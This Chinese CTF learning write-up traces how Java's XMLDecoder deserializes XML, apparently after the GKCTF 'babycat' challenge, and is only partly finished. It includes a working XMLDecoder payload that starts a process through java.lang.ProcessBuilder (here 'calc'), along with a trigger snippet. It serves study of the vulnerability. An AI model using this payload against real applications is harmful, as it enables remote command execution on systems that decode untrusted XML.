前言
上周五看了GKCTF的babycat那题,接触了XMLDecoder的漏洞,看了几天还是没看太明白。。。太菜了呜呜。。所以这是第一篇,暂时分析到这里,前面的处理XML的流程没看明白,光写篇文章理一下后面的部分。等以后再来填坑了。
只是简单的记录自己的调试过程,非常失败,没搞太懂。
利用
利用就是,写一个这样的xml:
<java>
<object class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="1">
<void index="0">
<string>calc</string>
</void>
</array>
<void method="start"></void>
</object>
</java>
触发:
try(FileInputStream fileInputStream = new FileInputStream("1.xml")){
XMLDecoder xmlDecoder = new XMLDecoder(fileInputStream);
Object o = xmlDecoder.readObject();
System.out.println(o);
}

简单的分析
不算所谓的分析了,单纯的调试一下,看看后半部分的过程都干了什么。
从这个endElement开始调,勉强看懂了这部分的处理。

也算是对xml的每一层进行处理了。
首先是对localpart="string",rawname="string"进行处理,也就是这里:<string>calc</string>。
跟进:

接下来对xml的每一层进行处理基本就是跟这些函数了:

得到string的值calc:

然后调用了this.parent.addArgument,把这个值加给了parent的argument里面。
之后经过一些处理再次回到这里,这时候是对void进行处理了:
<void index="0">
</void>
接下来还是和处理string的流程类似了。一路跟进到getValueObject的时候,发现length为2,所以这里是set:

之后再跟进到这里:
return ValueObjectImpl.create(var5.getValue());
进入var5.getValue()方法,发现有个invoke方法:
public Object getValue() throws Exception {
if (value == unbound) {
setValue(invoke());
}
return value;
}
再跟进调试一下,最终在这里给target设置了值:

之后的流程也差不多,之后是处理array:
<array class="java.lang.String" length="1">
</array>
然后就是void:
<void method="start"></void>
最后处理到object:
<object class="java.lang.ProcessBuilder">
</object>
其中对象用new产生,通过反射得到构造器然后调用。最终在这里通过反射调用了start()方法:

太难了呜呜呜呜呜呜呜呜呜呜呜呜呜呜呜呜呜呜呜呜呜呜呜呜呜呜呜呜呜呜呜呜呜呜呜呜呜呜呜呜呜呜呜呜呜呜呜呜呜。
参考链接
https://paper.seebug.org/916/
https://y4tacker.blog.csdn.net/article/details/118894375
https://www.freebuf.com/articles/network/247331.html
https://www.kingkk.com/2019/05/Weblogic-XMLDecoder%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%AD%A6%E4%B9%A0/
https://xz.aliyun.com/t/5069
|